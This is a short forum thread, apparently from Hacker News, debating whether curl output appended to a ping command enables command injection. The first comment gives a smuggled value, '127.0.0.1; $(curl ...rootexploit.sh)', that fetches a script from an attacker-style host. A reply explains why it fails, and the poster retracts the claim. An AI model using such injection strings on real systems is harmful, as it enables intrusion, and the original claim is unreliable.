3 ms·
The output from curl is being tacked onto 'ping ' and executed, so there's nothing stopping a malicious server from returning something like '127.0.0.1; $(curl
by tomku 13y ago
The output from curl is being tacked onto 'ping ' and executed, so there's nothing stopping a malicious server from returning something like '127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh http://pwn.your.box/rootexploit.sh) ' instead of just your IP.
Edit: This is completely wrong, and doesn't work.
- TazeTSchnitzel 13y agoHow, exactly, would that work? You'd just be feeding the literal string "127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh http://pwn.your.box/rootexploit.sh) " to ping.
- tomku 13y agoYep, you're right, it doesn't work. Edited post to reflect that, thanks.